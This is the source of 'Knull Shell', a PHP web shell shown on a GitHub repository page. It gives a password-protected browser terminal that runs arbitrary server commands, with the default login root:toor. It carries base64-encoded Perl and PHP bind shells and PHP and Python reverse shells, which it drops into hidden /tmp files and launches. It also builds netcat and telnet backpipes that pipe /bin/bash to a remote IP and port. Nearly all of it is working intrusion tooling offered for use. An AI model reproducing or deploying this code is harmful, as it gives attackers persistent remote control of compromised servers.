forked from xl7dev/WebShell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathKnull Shell.php
executable file
·567 lines (454 loc) · 21.1 KB
/
Knull Shell.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
<?php
/*
Knull shell alpha1
Authored by Knull of http://leethack.info
Project homepage: https://code.google.com/p/knull-shell/
Features:
Contains PHP web frontend
Contains newer bind/reverse/backpipe shells in PHP/Python/Perl, Telnet/Netcat backpipes
Disclaimer: any use of this software on a computing device can only be used with explicit permission
from the computers rightful owner, I cannot be held responsible for the consequences of your actions.
*/
error_reporting(0);
// check for disabled PHP functions
$disabled_funcs=@ini_get('disable_functions');
if(!empty($disabled_funcs)){ $disabled_funcs=preg_replace('/[, ]+/', ',', $disabled_funcs);
$disabled_funcs=explode(',', $disabled_funcs);
$disabled_funcs=array_map('trim', $disabled_funcs); }else{ $disabled_funcs=array(); }
function logout() {
$_SESSION = array('authenticated' => false);
if (isset($_COOKIE[session_name()]))
setcookie(session_name(), '', time()-44000, '/');
session_destroy();
}
function stripslashes_deep($value) {
if (is_array($value))
return array_map('stripslashes_deep', $value);
else
return stripslashes($value);
}
// create 'hidden session looking' filename
function sess_fname() {
return '.sess_'.md5(mt_rand());
}
// check for valid port
function is_port($port){
$retport = (is_numeric($port) && $port>=0 && $port<=65535) ? true : false;
return $retport;
}
// todo: check for valid ip
// execute command by enabled function
function exec_method($cmd) {
$retval = true;
if(is_callable('shell_exec') and !in_array('shell_exec',$disabled_funcs)) {
$ret_exec=shell_exec($cmd);
} else if (is_callable('passthru') and !in_array('passthru',$disabled_funcs)) {
ob_start(); passthru($cmd); $ret_exec=ob_get_contents(); ob_end_clean();
} else if (is_callable('exec') and !in_array('exec',$disabled_funcs)) {
$ret_exec=array(); exec($cmd,$ret_exec);
} else if (is_callable('system') and !in_array('system',$disabled_funcs)) {
ob_start(); system($cmd); $ret_exec=ob_get_contents(); ob_end_clean();
} else if (is_callable('proc_open')and!in_array('proc_open',$disabled_funcs)) {
$handle=proc_open($cmd,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); $ret_exec=NULL; while(!feof($pipes[1])) { $ret_exec.=fread($pipes[1],1024); } @proc_close($handle);
} else if(is_callable('popen')and!in_array('popen',$disabled_funcs)){
$fp=popen($cmd,'r'); $ret_exec=NULL;
} else {
$retval = false;
}
return $retval;
}
if (get_magic_quotes_gpc())
$_POST = stripslashes_deep($_POST);
// Initialize variables
$username = isset($_POST['username']) ? $_POST['username'] : '';
$password = isset($_POST['password']) ? $_POST['password'] : '';
$webshcmd = isset($_POST['cmd']) ? $_POST['cmd'] : '';
$rows = isset($_POST['rows']) ? $_POST['rows'] : 24;
$columns = isset($_POST['columns']) ? $_POST['columns'] : 80;
/*
Default username:password is root:toor , replace '435b41068e8665513a20070c033b08b9c66e4332'
in the line below with the sha1 hash from the command 'echo -n yourpasswordhere | sha1sum -'
*/
$ini['users'] = array('root' => 'sha1:435b41068e8665513a20070c033b08b9c66e4332');
// Default settings
$default_settings = array('home-directory' => '.');
// Merge settings
$ini['settings'] = array_merge($default_settings, $ini['users']);
session_start();
if (isset($_POST['logout']))
logout();
// Authentication
if (isset($ini['users'][$username])) {
if (strchr($ini['users'][$username], ':') === false) {
// No seperator = clear text password
$_SESSION['authenticated'] = ($ini['users'][$username] == $password);
} else {
list($fkt, $hash) = explode(':', $ini['users'][$username]);
$_SESSION['authenticated'] = ($fkt($password) == $hash);
}
}
// not authed?
if (!isset($_SESSION['authenticated']))
$_SESSION['authenticated'] = false;
if ($_SESSION['authenticated']) {
// Initialise session variables
if (empty($_SESSION['cwd'])) {
$_SESSION['cwd'] = realpath($ini['settings']['home-directory']);
$_SESSION['output'] = '';
}
if (!empty($webshcmd)) {
// append commmand to output
$_SESSION['output'] .= '$ ' . $webshcmd . "\n";
// Initialize cwd
if (preg_match('/^[[:blank:]]*cd[[:blank:]]*$/', $webshcmd)) {
$_SESSION['cwd'] = realpath($ini['settings']['home-directory']);
} elseif (preg_match('/^[[:blank:]]*cd[[:blank:]]+([^;]+)$/', $webshcmd, $regs)) {
// 'cd' command to be handled as internal shell command
if ($regs[1]{0} == '/') {
// its an absolute path, leave it
$new_dir = $regs[1];
} else {
// append relative paths to cwd
$new_dir = $_SESSION['cwd'] . '/' . $regs[1];
}
// '/./' becomes '/'
while (strpos($new_dir, '/./') !== false)
$new_dir = str_replace('/./', '/', $new_dir);
// '//' becomes '/'
while (strpos($new_dir, '//') !== false)
$new_dir = str_replace('//', '/', $new_dir);
// 'x/..' becomes ''
while (preg_match('|/\.\.(?!\.)|', $new_dir))
$new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);
if ($new_dir == '') $new_dir = '/';
if (@chdir($new_dir)) {
$_SESSION['cwd'] = $new_dir;
} else {
$_SESSION['output'] .= "cd: could not change to: $new_dir\n";
}
} elseif (trim($command) == 'exit') {
logout();
} else {
chdir($_SESSION['cwd']);
// cannot use putenv() when in safe mode
if (!ini_get('safe_mode')) {
// putenv the terminal size for programs
putenv('ROWS=' . $rows);
putenv('COLUMNS=' . $columns);
}
// alias expansion
$length = strcspn($webshcmd, " \t");
$token = substr($webshcmd, 0, $length);
if (isset($ini['aliases'][$token]))
$webshcmd = $ini['aliases'][$token] . substr($webshcmd, $length);
$io = array();
$p = proc_open($webshcmd,
array(1 => array('pipe', 'w'),
2 => array('pipe', 'w')),
$io);
// stdout
while (!feof($io[1])) {
$_SESSION['output'] .= htmlspecialchars(fgets($io[1]),
ENT_COMPAT, 'UTF-8');
}
// stderr
while (!feof($io[2])) {
$_SESSION['output'] .= htmlspecialchars(fgets($io[2]),
ENT_COMPAT, 'UTF-8');
}
fclose($io[1]);
fclose($io[2]);
proc_close($p);
}
}
echo "<fieldset><legend><h4>Shells</h4></legend><form action='" . $_SERVER['REQUEST_URI'] . "' method='post'>";
echo "IP: <input type='text' name='ip' size=15 maxlength=65> Port: <input type='text' name='port' size=5 maxlength=5>
<select name='bd_host'>
<option value='default'>Select Shell...</option>
<option value='plbd'>Bind/Perl</option>
<option value='phpbd'>Bind/PHP</option>
<option value='ncbp'>Reverse/NetcatBackpipe</option>
<option value='tnbp'>Reverse/TelnetBackpipe</option>
<option value='phprev'>Reverse/PHP</option>
<option value='pyrev'>Reverse/Python</option>
</select>
<input type='submit' value='Exec'>";
// add ip/host validation
if (empty($_POST['bd_host']) || $_POST['bd_host'] === 'default') { ; }
else if (!is_port($_POST['port'])) {
echo '<p class="error">Invalid port number!</p>';
} else {
$uniqfn = '/tmp/' . sess_fname();
if ($_POST['bd_host'] === 'plbd'){
$bind_pl = "IyEvdXNyL2Jpbi9lbnYgcGVybA0KJFNIRUxMPSIvYmluL2Jhc2ggLWkiOw0KaWYgKEBBUkdWIDwg
MSkgeyBleGl0KDEpOyB9DQokTElTVEVOX1BPUlQ9JEFSR1ZbMF07DQp1c2UgU29ja2V0Ow0KJHBy
b3RvY29sPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCnNvY2tldChTLCZQRl9JTkVULCZTT0NLX1NU
UkVBTSwkcHJvdG9jb2wpIHx8IGRpZSAiZXJyb3I6IHNvY2tldFxuIjsNCnNldHNvY2tvcHQoUyxT
T0xfU09DS0VULFNPX1JFVVNFQUREUiwxKTsNCmJpbmQoUyxzb2NrYWRkcl9pbigkTElTVEVOX1BP
UlQsSU5BRERSX0FOWSkpIHx8IGRpZSAiZXJyb3I6IGJpbmRcbiI7DQpsaXN0ZW4oUywzKSB8fCBk
aWUgImVycm9yOiBsaXN0ZW5cbiI7DQp3aGlsZSgxKQ0Kew0KYWNjZXB0KENPTk4sUyk7DQppZigh
KCRwaWQ9Zm9yaykpDQp7DQpkaWUgImVycm9yOiBmb3JrIiBpZiAoIWRlZmluZWQgJHBpZCk7DQpv
cGVuIFNURElOLCI8JkNPTk4iOw0Kb3BlbiBTVERPVVQsIj4mQ09OTiI7DQpvcGVuIFNUREVSUiwi
PiZDT05OIjsNCmV4ZWMgJFNIRUxMIHx8IGRpZSBwcmludCBDT05OICJlcnJvcjogZXhlYyAkU0hF
TExcbiI7DQpjbG9zZSBDT05OOw0KZXhpdCAwOw0KfQ0KfQ0K";
@$fh=fopen($uniqfn,"ab+");
@fwrite($fh,base64_decode($bind_pl));
@fclose($fh);
$command = 'perl ' . $uniqfn . ' ' . $_POST['port'] . ' > /dev/null &';
if (exec_method($command)) {
echo '<p>Perl Bindshell (should be) listening on ' . htmlspecialchars($_POST['ip']) . ':' . htmlspecialchars($_POST['port']) . '</p>';
} else {
echo '<p class="error">Unable to execute Perl Bindshell!</p>';
}
} else if (!empty($_POST['bd_host']) && ($_POST['bd_host'] === 'phpbd')){
$php_bind = "IyEvdXNyL2Jpbi9waHAKPD9waHAJCi8qIApLbnVsbCdzIG1vZGlmaWVkIGBtc2ZwYXlsb2FkIHBo
cC9iaW5kX3BocCBSYAoqLwoKaWYgKCRhcmdjID09PSAzKSB7CgpAc2V0X3RpbWVfbGltaXQoMCk7
CkBpZ25vcmVfdXNlcl9hYm9ydCgxKTsgCkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDAp
OwoJCiRkZj1AaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsKaWYoIWVtcHR5KCRkZikpewoJ
JGRmPXByZWdfcmVwbGFjZSgnL1ssIF0rLycsICcsJywgJGRmKTsKCSRkZj1leHBsb2RlKCcsJywg
JGRmKTsKCSRkZj1hcnJheV9tYXAoJ3RyaW0nLCAkZGYpOwp9ZWxzZXsKCSRkZj1hcnJheSgpOwp9
CgokcG9ydD0kYXJndlsyXTsKJGlwPSRhcmd2WzFdOwoKJHNvY2s9QHNvY2tldF9jcmVhdGUoQUZf
SU5FVCxTT0NLX1NUUkVBTSxTT0xfVENQKTsKJHJldD1Ac29ja2V0X2JpbmQoJHNvY2ssJGlwLCRw
b3J0KTsKJHJldD1Ac29ja2V0X2xpc3Rlbig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(exec_method($command)) {
echo '<p>PHP Bindshell (should be) listening on ' . htmlspecialchars($_POST['ip']) . ':' . htmlspecialchars($_POST['port']) . '</p>';
} else {
echo '<p class="error">Unable to execute PHP Bindshell</p>';
}
} else if (!empty($_POST['bd_host']) && ($_POST['bd_host'] === 'phprev')){
$php_rev = 'IyEvdXNyL2Jpbi9waHAKPD9waHAKLyogCktudWxsJ3MgbW9kaWZpZWQgYG1zZnBheWxvYWQgcGhw
L3JldmVyc2VfcGhwIExIT1NUPVguWC5YLlggUmBgCiovCgppZiAoJGFyZ2MgPT09IDMpIHsKCgkk
aXBhZGRyPSRhcmd2WzFdOwoJJHBvcnQ9JGFyZ3ZbMl07CgkJCglAc2V0X3RpbWVfbGltaXQoMCk7
IEBpZ25vcmVfdXNlcl9hYm9ydCgxKTsgQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7
CgkkZGY9QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CglpZighZW1wdHkoJGRmKSl7CgkJ
JGRmPXByZWdfcmVwbGFjZSgnL1ssIF0rLycsICcsJywgJGRpcyk7CgkJJGRmPWV4cGxvZGUoJywn
LCAkZGlzKTsKCQkkZGY9YXJyYXlfbWFwKCd0cmltJywgJGRpcyk7Cgl9ZWxzZXsKCQkkZGY9YXJy
YXkoKTsKCX0KCQkJCgoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnY2V4ZScpKXsKCQlmdW5jdGlvbiBj
ZXhlKCRjKXsKCQkJZ2xvYmFsICRkZjsKCQkJCgkJaWYgKEZBTFNFICE9PSBzdHJwb3Moc3RydG9s
b3dlcihQSFBfT1MpLCAnd2luJyApKSB7CgkJCSRjPSRjLiIgMj4mMVxuIjsKCQl9CgkJJGlzYz0n
aXNfY2FsbGFibGUnOwoJCSRpc2E9J2luX2FycmF5JzsKCQkKCQlpZigkaXNjKCdzeXN0ZW0nKWFu
ZCEkaXNhKCdzeXN0ZW0nLCRkZikpewoJCQlvYl9zdGFydC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dHIoJGMsMywt
MSkpOwoJCQl9IGVsc2UgaWYgKHN1YnN0cigkYywwLDQpID09ICdxdWl0JyB8fCBzdWJzdHIoJGMs
MCw0KSA9PSAnZXhpdCcpIHsKCQkJCWJyZWFrOwoJCQl9ZWxzZXsKCQkJCSRvdXQ9Y2V4ZShzdWJz
dHIoJGMsMCwtMSkpOwoJCQkJaWYoJG91dD09PWZhbHNlKXsKCQkJCQlAc29ja2V0X3dyaXRlKCRz
LCRub2Z1bmNzKTsKCQkJCQlicmVhazsKCQkJCX0KCQkJfQoJCQlAc29ja2V0X3dyaXRlKCRzLCRv
dXQsc3RybGVuKCRvdXQpKTsKCQl9CgkJQHNvY2tldF9jbG9zZSgkcyk7Cgl9Cn0gZWxzZSB7CiAg
ICAgICAgZWNobyAndXNhZ2U6ICcgLiAkYXJndlswXSAuICcgcG9ydCcgLiAiXG4iOwp9Cgo/Pgo=
';
@$fh=fopen($uniqfn,"wb+");
@fwrite($fh,base64_decode($php_rev));
@fclose($fh);
$command = 'php ' . $uniqfn . ' ' . $_POST['ip'] . ' ' . $_POST['port'] . ' > /dev/null &';
if (exec_method($command)) {
echo '<p>Check your nc listener on ' . htmlspecialchars($_POST['ip']) . ':' . htmlspecialchars($_POST['port']) . '</p>';
} else {
echo '<p class="error">Unable to execute PHP reverse shell</p>';
}
} else if (!empty($_POST['bd_host']) && ($_POST['bd_host'] === 'pyrev')){
$py_rev = 'aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHN5cwoKcz1zb2NrZXQuc29ja2V0KHNvY2tldC5B
Rl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKcy5jb25uZWN0KChzeXMuYXJndlsxXSxpbnQoc3lz
LmFyZ3ZbMl0pKSkKb3MuZHVwMihzLmZpbGVubygpLDApCm9zLmR1cDIocy5maWxlbm8oKSwxKQpv
cy5kdXAyKHMuZmlsZW5vKCksMikKcD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7
Cg==';
@$fh=fopen($uniqfn,"wb+");
@fwrite($fh,base64_decode($py_rev));
@fclose($fh);
$command = 'python ' . $uniqfn . ' ' . $_POST['ip'] . ' ' . $_POST['port'] . ' > /dev/null &';
if (exec_method($command)) {
echo '<p>Check your nc listener on ' . htmlspecialchars($_POST['ip']) . ':' . htmlspecialchars($_POST['port']) . '</p>';
} else {
echo '<p class="error">Unable to execute Python reverse shell</p>';
}
} else if (!empty($_POST['bd_host']) && ($_POST['bd_host'] === 'ncbp')){
$bpname = '/tmp/' . sess_fname();
$cmdfile = 'mknod ' . $bpname . ' p && nc ' . $_POST['ip'] . ' ' . $_POST['port'] . ' 0<' . $bpname . ' | /bin/bash 1>' . $bpname . ' &';
@$fh=fopen($uniqfn,"wb+");
@fwrite($fh,$cmdfile);
@fclose($fh);
$command = '/bin/bash ' . $uniqfn . ' > /dev/null &';
if (exec_method($command)) {
echo '<p>Check your Netcat listener on ' . htmlspecialchars($_POST['ip']) . ':' . htmlspecialchars($_POST['port']) . '</p>';
} else {
echo '<p class="error">Unable to execute Netcat Backpipe</p>';
}
} else if (isset($_POST['bd_host']) && ($_POST['bd_host'] === 'tnbp')){
$bpname = '/tmp/' . sess_fname();
$cmdfile = 'mknod ' . $bpname . ' p && telnet ' . $_POST['ip'] . ' ' . $_POST['port'] . ' 0<' . $bpname . ' | /bin/bash 1>' . $bpname;
@$fh=fopen($uniqfn,"wb+");
@fwrite($fh,$cmdfile);
@fclose($fh);
$command = '/bin/bash ' . $uniqfn . ' > /dev/null &';
if (exec_method($command)) {
echo '<p>Check your Netcat listener on ' . htmlspecialchars($_POST['ip']) . ':' . htmlspecialchars($_POST['port']) . '</p>';
} else {
echo '<p class="error">Unable to execute Telnet Backpipe</p>';
}
}
}
echo '</fieldset>';
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Knull Shell</title>
<style type="text/css">
body {
font-family: sans-serif;
color: black;
background: #f3f3f3;
}
h4 {
color: navy;
}
img {
border: none;
}
div#terminal {
border: inset 2px navy;
padding: 2px;
margin-top: 0.5em;
}
div#terminal textarea {
color: white;
background: black;
font-size: 100%;
width: 100%;
border: none;
}
p {
margin-top: 0.5em;
margin-bottom: 0.5em;
}
p#prompt {
color: white;
background: black;
font-family: monospace;
margin: 0px;
}
p#prompt input {
color: white;
background: black;
border: none;
font-family: monospace;
}
legend {
padding-right: 0.5em;
}
fieldset {
padding: 0.5em;
}
div#navycolor {
color: navy;
}
.error {
color: red;
}
</style>
</head>
<body>
<form name="shell" action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post">
<?php
if (!$_SESSION['authenticated']) {
?>
<fieldset>
<legend><h4>Authentication</h4></legend>
<?php
if (!empty($username))
echo ' <p class="error">Login failed, please try again:</p>' . "\n";
?>
<p>Username: <input name="username" type="text" value="<?php echo $username
?>"></p>
<p>Password: <input name="password" type="password"></p>
<p><input type="submit" value="Login"></p>
</fieldset>
<?php } else { /* Auth'd */ ?>
<fieldset>
<legend><h4>Server Details</h4></legend>
ServerIP: <?php echo $_SERVER['SERVER_ADDR']; ?> VHost: <?php echo htmlspecialchars($_SERVER['SERVER_NAME']); ?> YourIP: <?php if (empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { echo htmlspecialchars($_SERVER['REMOTE_ADDR']); } else { echo htmlspecialchars($_SERVER['HTTP_X_FORWARDED_FOR']); } ?> Software: <?php echo htmlspecialchars($_SERVER['SERVER_SOFTWARE']); ?><br />UserAgent: <?php echo htmlspecialchars($_SERVER['HTTP_USER_AGENT']); ?><br />
Pwd: <?php echo htmlspecialchars($_SESSION['cwd'], ENT_COMPAT, 'UTF-8'); ?> <br />
ServerSig: <?php echo htmlspecialchars($_SERVER['SERVER_SIGNATURE'])?>
<div id="terminal">
<textarea name="output" readonly="readonly" cols="<?php echo $columns ?>" rows="<?php echo $rows ?>">
<?php
$lines = substr_count($_SESSION['output'], "\n");
$padding = str_repeat("\n", max(0, $rows+1 - $lines));
echo rtrim($padding . $_SESSION['output']);
?>
</textarea>
<p id="prompt">
$ <input name="cmd" type="text"
onkeyup="key(event)" size="<?php echo $columns-2 ?>" tabindex="1">
</p>
</div>
<p>
<span style="float: right">Size: <input type="text" name="rows" size="2"
maxlength="3" value="<?php echo $rows ?>"> × <input type="text"
name="columns" size="2" maxlength="3" value="<?php echo $columns
?>"></span>
<input type="submit" value="Exec">
<input type="submit" name="logout" value="Logout">
</p>
</fieldset>
<?php } ?>
</form>
</body>
</html>